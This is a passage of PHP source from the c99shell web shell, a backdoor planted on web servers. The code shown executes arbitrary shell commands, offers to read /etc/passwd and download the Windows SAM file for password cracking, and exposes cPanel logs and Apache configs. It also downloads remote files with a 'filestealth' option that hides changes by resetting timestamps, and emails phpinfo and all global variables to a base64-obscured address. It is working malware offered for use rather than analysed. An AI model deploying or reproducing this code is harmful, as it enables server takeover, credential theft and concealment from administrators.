  1507.     if ($uid)
  1508.     {
  1509.      $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
  1510.      echo join(":",$uid)."<br>";
  1511.     }
  1512.     $i++;
  1513.    }
  1514.   }
  1515.   else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";}
  1516.  }
  1517.  else
  1518.  {
  1519.   $v = $_SERVER["WINDIR"]."\repair\sam";
  1520.   if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";}
  1521.   else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ .</font></b><br>";}
  1522.  }
  1523.  if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";}
  1524.  if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";}
  1525.  if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
  1526.  if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
  1527.  if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";}
  1528.  if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";}
  1529.  if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";}
  1530.  function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}}
  1531.  displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
  1532.  displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
  1533.  displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
  1534.  displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
  1535.  displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
  1536.  displaysecinfo("RAM",myshellexec("free -m"));
  1537.  displaysecinfo("HDD space",myshellexec("df -h"));
  1538.  displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
  1539.  displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
  1540.  displaysecinfo("Is cURL installed?",myshellexec("which curl"));
  1541.  displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
  1542.  displaysecinfo("Is links installed?",myshellexec("which links"));
  1543.  displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
  1544.  displaysecinfo("Is GET installed?",myshellexec("which GET"));
  1545.  displaysecinfo("Is perl installed?",myshellexec("which perl"));
  1546.  displaysecinfo("Where is apache",myshellexec("whereis apache"));
  1547.  displaysecinfo("Where is perl?",myshellexec("whereis perl"));
  1548.  displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
  1549.  displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
  1550.  displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
  1551.  displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
  1552. }
  1553. if ($act == "mkfile")
  1554. {
  1555.  if ($mkfile != $d)
  1556.  {
  1557.   if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
  1558.   elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
  1559.   else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
  1560.  }
  1561.  else {$act = $dspact = "ls";}
  1562. }
  1563. if ($act == "encoder")
  1564. {
  1565.  echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>";
  1566.  foreach(array("md5","crypt","sha1","crc32") as $v)
  1567.  {
  1568.   echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>";
  1569.  }
  1570.  echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly>
  1571. <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly>
  1572. <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>";
  1573.  echo "<center>base64_decode - ";
  1574.  if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";}
  1575.  else
  1576.  {
  1577.   $debase64 = base64_decode($encoder_input);
  1578.   $debase64 = str_replace("\0","[0]",$debase64);
  1579.   $a = explode("\r\n",$debase64);
  1580.   $rows = count($a);
  1581.   $debase64 = htmlspecialchars($debase64);
  1582.   if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";}
  1583.   else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";}
  1584.   echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>";
  1585.  }
  1586.  echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
  1587.  $c = strlen($encoder_input);
  1588.  for($i=0;$i<$c;$i++)
  1589.  {
  1590.   $hex = dechex(ord($encoder_input[$i]));
  1591.   if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
  1592.   elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
  1593.  }
  1594.  echo "\" readonly><br></center></form>";
  1595. }
  1596. if ($act == "fsbuff")
  1597. {
  1598.  $arr_copy = $sess_data["copy"];
  1599.  $arr_cut = $sess_data["cut"];
  1600.  $arr = array_merge($arr_copy,$arr_cut);
  1601.  if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";}
  1602.  else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
  1603. }
  1604. if ($act == "selfremove")
  1605. {
  1606.  if (($submit == $rndcode) and ($submit != ""))
  1607.  {
  1608.   if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; c99shexit(); }
  1609.   else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
  1610.  }
  1611.  else
  1612.  {
  1613.   if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";}
  1614.   $rnd = rand(0,9).rand(0,9).rand(0,9);
  1615.   echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>";
  1616.  }
  1617. }
  1618. if ($act == "update") {$ret = c99sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}}
  1619. if ($act == "feedback")
  1620. {
  1621.  $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1");
  1622.  if (!empty($submit))
  1623.  {
  1624.   $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
  1625.   $body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
  1626.   if (!empty($fdbk_ref))
  1627.   {
  1628.    $tmp = @ob_get_contents();
  1629.    ob_clean();
  1630.    phpinfo();
  1631.    $phpinfo = base64_encode(ob_get_contents());
  1632.    ob_clean();
  1633.    echo $tmp;
  1634.    $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
  1635.   }
  1636.   mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
  1637.   echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
  1638.  }
  1639.  else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";}
  1640. }
  1641. if ($act == "search")
  1642. {
  1643.  echo "<b>Search in file-system:</b><br>";
  1644.  if (empty($search_in)) {$search_in = $d;}
  1645.  if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
  1646.  if (empty($search_text_wwo)) {$search_text_regexp = 0;}
  1647.  if (!empty($submit))
  1648.  {
  1649.   $found = array();
  1650.   $found_d = 0;
  1651.   $found_f = 0;
  1652.   $search_i_f = 0;
  1653.   $search_i_d = 0;
  1654.   $a = array
  1655.   (
  1656.    "name"=>$search_name, "name_regexp"=>$search_name_regexp,
  1657.    "text"=>$search_text, "text_regexp"=>$search_text_regxp,
  1658.    "text_wwo"=>$search_text_wwo,
  1659.    "text_cs"=>$search_text_cs,
  1660.    "text_not"=>$search_text_not
  1661.   );
  1662.   $searchtime = getmicrotime();
  1663.   $in = array_unique(explode(";",$search_in));
  1664.   foreach($in as $v) {c99fsearch($v);}
  1665.   $searchtime = round(getmicrotime()-$searchtime,4);
  1666.   if (count($found) == 0) {echo "<b>No files found!</b>";}
  1667.   else
  1668.   {
  1669.    $ls_arr = $found;
  1670.    $disp_fullpath = TRUE;
  1671.    $act = "ls";
  1672.   }
  1673.  }
  1674.  echo "<form method=POST>
  1675. <input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">
  1676. <b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp
  1677. <br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
  1678. <br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea>
  1679. <br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp
  1680. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only
  1681. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive
  1682. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text
  1683. <br><br><input type=submit name=submit value=\"Search\"></form>";
  1684.  if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";}
  1685. }
  1686. if ($act == "chmod")
  1687. {
  1688.  $mode = fileperms($d.$f);
  1689.  if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
  1690.  else
  1691.  {
  1692.   $form = TRUE;
  1693.   if ($chmod_submit)
  1694.   {
  1695.    $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
  1696.    if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
  1697.    else {$err = "Can't chmod to ".$octet.".";}
  1698.   }
  1699.   if ($form)
  1700.   {
  1701.    $perms = parse_perms($mode);
  1702.    echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  1703.   }
  1704.  }
  1705. }
  1706. if ($act == "upload")
  1707. {
  1708.  $uploadmess = "";
  1709.  $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
  1710.  if (empty($uploadpath)) {$uploadpath = $d;}
  1711.  elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
  1712.  if (!empty($submit))
  1713.  {
  1714.   global $HTTP_POST_FILES;
  1715.   $uploadfile = $HTTP_POST_FILES["uploadfile"];
  1716.   if (!empty($uploadfile["tmp_name"]))
  1717.   {
  1718.    if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
  1719.    else {$destin = $userfilename;}
  1720.    if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";}
  1721.   }
  1722.   elseif (!empty($uploadurl))
  1723.   {
  1724.    if (!empty($uploadfilename)) {$destin = $uploadfilename;}
  1725.    else
  1726.    {
  1727.     $destin = explode("/",$destin);
  1728.     $destin = $destin[count($destin)-1];
  1729.     if (empty($destin))
  1730.     {
  1731.      $i = 0;
  1732.      $b = "";
  1733.      while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
  1734.    }
  1735.    if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";}
  1736.    else
  1737.    {
  1738.     $st = getmicrotime();
  1739.     $content = @file_get_contents($uploadurl);
  1740.     $dt = round(getmicrotime()-$st,4);
  1741.     if (!$content) {$uploadmess .=  "Can't download file!<br>";}
  1742.     else
  1743.     {
  1744.      if ($filestealth) {$stat = stat($uploadpath.$destin);}
  1745.      $fp = fopen($uploadpath.$destin,"w");
  1746.      if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
  1747.      else
  1748.      {
  1749.       fwrite($fp,$content,strlen($content));
  1750.       fclose($fp);
  1751.       if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
  1752.      }
  1753.     }
  1754.    }
  1755.   }
  1756.  }
  1757.  if ($miniform)
  1758.  {
  1759.   echo "<b>".$uploadmess."</b>";
  1760.   $act = "ls";
  1761.  }
  1762.  else
  1763.  {
  1764.   echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>
  1765. Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br>
  1766. Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br>
  1767. Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br>
  1768. File-name (auto-fill): <input name=uploadfilename size=25><br><br>
  1769. <input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br>
  1770. <input type=submit name=submit value=\"Upload\">
  1771. </form>";
  1772.  }
  1773. }
  1774. if ($act == "delete")
  1775. {
  1776.  $delerr = "";
  1777.  foreach ($actbox as $v)
  1778.  {
  1779.   $result = FALSE;
  1780.   $result = fs_rmobj($v);
  1781.   if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
  1782.  }
  1783.  if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
  1784.  $act = "ls";
  1785. }
  1786. if (!$usefsbuff)
  1787. {
  1788.  if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";}
  1789. }
  1790. else
  1791. {
  1792.  if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }
  1793.  elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
  1794.  elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
  1795.  if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
  1796.  elseif ($actpastebuff)
  1797.  {
  1798.   $psterr = "";
  1799.   foreach($sess_data["copy"] as $k=>$v)
  1800.   {
  1801.    $to = $d.basename($v);
  1802.    if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  1803.    if ($copy_unset) {unset($sess_data["copy"][$k]);}
  1804.   }
  1805.   foreach($sess_data["cut"] as $k=>$v)
  1806.   {
  1807.    $to = $d.basename($v);
  1808.    if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  1809.    unset($sess_data["cut"][$k]);
  1810.   }
  1811.   c99_sess_put($sess_data);
  1812.   if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  1813.   $act = "ls";
  1814.  }
  1815.  elseif ($actarcbuff)
  1816.  {
  1817.   $arcerr = "";
  1818.   if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
  1819.   else {$ext = ".tar.gz";}
  1820.   if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
  1821.   $cmdline .= " ".$actarcbuff_path;
  1822.   $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
  1823.   foreach($objects as $v)
  1824.   {
  1825.    $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
  1826.    if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
  1827.    if (is_dir($v))
  1828.    {
  1829.     if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
  1830.     $v .= "*";
  1831.    }
  1832.    $cmdline .= " ".$v;
  1833.   }
  1834.   $tmp = realpath(".");
  1835.   chdir($d);
  1836.   $ret = myshellexec($cmdline);
  1837.   chdir($tmp);
  1838.   if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
  1839.   $ret = str_replace("\r\n","\n",$ret);
  1840.   $ret = explode("\n",$ret);
  1841.   if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
  1842.   foreach($sess_data["cut"] as $k=>$v)
  1843.   {
  1844.    if (in_array($v,$ret)) {fs_rmobj($v);}
  1845.    unset($sess_data["cut"][$k]);
  1846.   }
  1847.   c99_sess_put($sess_data);
  1848.   if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
  1849.   $act = "ls";
  1850.  }
  1851.  elseif ($actpastebuff)
  1852.  {
  1853.   $psterr = "";
  1854.   foreach($sess_data["copy"] as $k=>$v)
  1855.   {
  1856.    $to = $d.basename($v);
  1857.    if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  1858.    if ($copy_unset) {unset($sess_data["copy"][$k]);}
  1859.   }
  1860.   foreach($sess_data["cut"] as $k=>$v)
  1861.   {
  1862.    $to = $d.basename($v);
  1863.    if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  1864.    unset($sess_data["cut"][$k]);
  1865.   }
  1866.   c99_sess_put($sess_data);
  1867.   if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  1868.   $act = "ls";
  1869.  }
  1870. }
  1871. if ($act == "cmd")
  1872. {
  1873. if (trim($cmd) == "ps -aux") {$act = "processes";}
  1874. elseif (trim($cmd) == "tasklist") {$act = "processes";}
  1875. else
  1876. {
  1877.  @chdir($chdir);
  1878.  if (!empty($submit))
  1879.  {
  1880.   echo "<b>Result of execution this command</b>:<br>";
  1881.   $olddir = realpath(".");
  1882.   @chdir($d);
  1883.   $ret = myshellexec($cmd);
  1884.   $ret = convert_cyr_string($ret,"d","w");
  1885.   if ($cmd_txt)
  1886.   {
  1887.    $rows = count(explode("\r\n",$ret))+1;
  1888.    if ($rows < 10) {$rows = 10;}
  1889.    echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  1890.   }
  1891.   else {echo $ret."<br>";}
  1892.   @chdir($olddir);
  1893.  }
  1894.  else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
  1895.  echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
  1896. }
  1897. }
  1898. if ($act == "ls")
  1899. {
  1900.  if (count($ls_arr) > 0) {$list = $ls_arr;}
  1901.  else
  1902.  {
  1903.   $list = array();
  1904.   if ($h = @opendir($d))
  1905.   {
  1906.    while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
  1907.    closedir($h);
  1908.   }
  1909.   else {}
  1910.  }
  1911.  if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";}
  1912.  else
  1913.  {
  1914.   //Building array
  1915.   $objects = array();
  1916.   $vd = "f"; //Viewing mode
  1917.   if ($vd == "f")
  1918.   {
  1919.    $objects["head"] = array();
  1920.    $objects["folders"] = array();
  1921.    $objects["links"] = array();
  1922.    $objects["files"] = array();
  1923.    foreach ($list as $v)
  1924.    {
  1925.     $o = basename($v);
  1926.     $row = array();
  1927.     if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
  1928.     elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
  1929.     elseif (is_dir($v))
  1930.     {
  1931.      if (is_link($v)) {$type = "LINK";}
  1932.      else {$type = "DIR";}
  1933.      $row[] = $v;
  1934.      $row[] = $type;
  1935.     }
  1936.     elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
  1937.     $row[] = filemtime($v);
  1938.     if (!$win)
  1939.     {
  1940.      $ow = posix_getpwuid(fileowner($v));
  1941.      $gr = posix_getgrgid(filegroup($v));
  1942.      $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
  1943.     }
  1944.     $row[] = fileperms($v);
  1945.     if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
  1946.     elseif (is_link($v)) {$objects["links"][] = $row;}
  1947.     elseif (is_dir($v)) {$objects["folders"][] = $row;}
  1948.     elseif (is_file($v)) {$objects["files"][] = $row;}
  1949.     $i++;
  1950.    }
  1951.    $row = array();
  1952.    $row[] = "<b>Name</b>";
  1953.    $row[] = "<b>Size</b>";
  1954.    $row[] = "<b>Modify</b>";
  1955.    if (!$win)
  1956.   {$row[] = "<b>Owner/Group</b>";}
  1957.    $row[] = "<b>Perms</b>";
  1958.    $row[] = "<b>Action</b>";
  1959.    $parsesort = parsesort($sort);
  1960.    $sort = $parsesort[0].$parsesort[1];
  1961.    $k = $parsesort[0];
  1962.    if ($parsesort[1] != "a") {$parsesort[1] = "d";}
  1963.    $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
  1964.    $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
  1965.    $row[$k] .= $y;
  1966.    for($i=0;$i<count($row)-1;$i++)
  1967.    {
  1968.     if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
  1969.    }
  1970.    $v = $parsesort[0];
  1971.    usort($objects["folders"], "tabsort");
  1972.    usort($objects["links"], "tabsort");
  1973.    usort($objects["files"], "tabsort");
  1974.    if ($parsesort[1] == "d")
  1975.    {
  1976.     $objects["folders"] = array_reverse($objects["folders"]);
  1977.     $objects["files"] = array_reverse($objects["files"]);
  1978.    }
  1979.    $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
  1980.    $tab = array();
  1981.    $tab["cols"] = array($row);
  1982.    $tab["head"] = array();
  1983.    $tab["folders"] = array();
  1984.    $tab["links"] = array();
  1985.    $tab["files"] = array();
  1986.    $i = 0;
  1987.    foreach ($objects as $a)
  1988.    {
  1989.     $v = $a[0];
  1990.     $o = basename($v);
  1991.     $dir = dirname($v);
  1992.     if ($disp_fullpath) {$disppath = $v;}
  1993.     else {$disppath = $o;}
  1994.     $disppath = str2mini($disppath,60);
  1995.     if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
  1996.     elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
  1997.     foreach ($regxp_highlight as $r)
  1998.     {
  1999.      if (ereg($r[0],$o))
  2000.      {
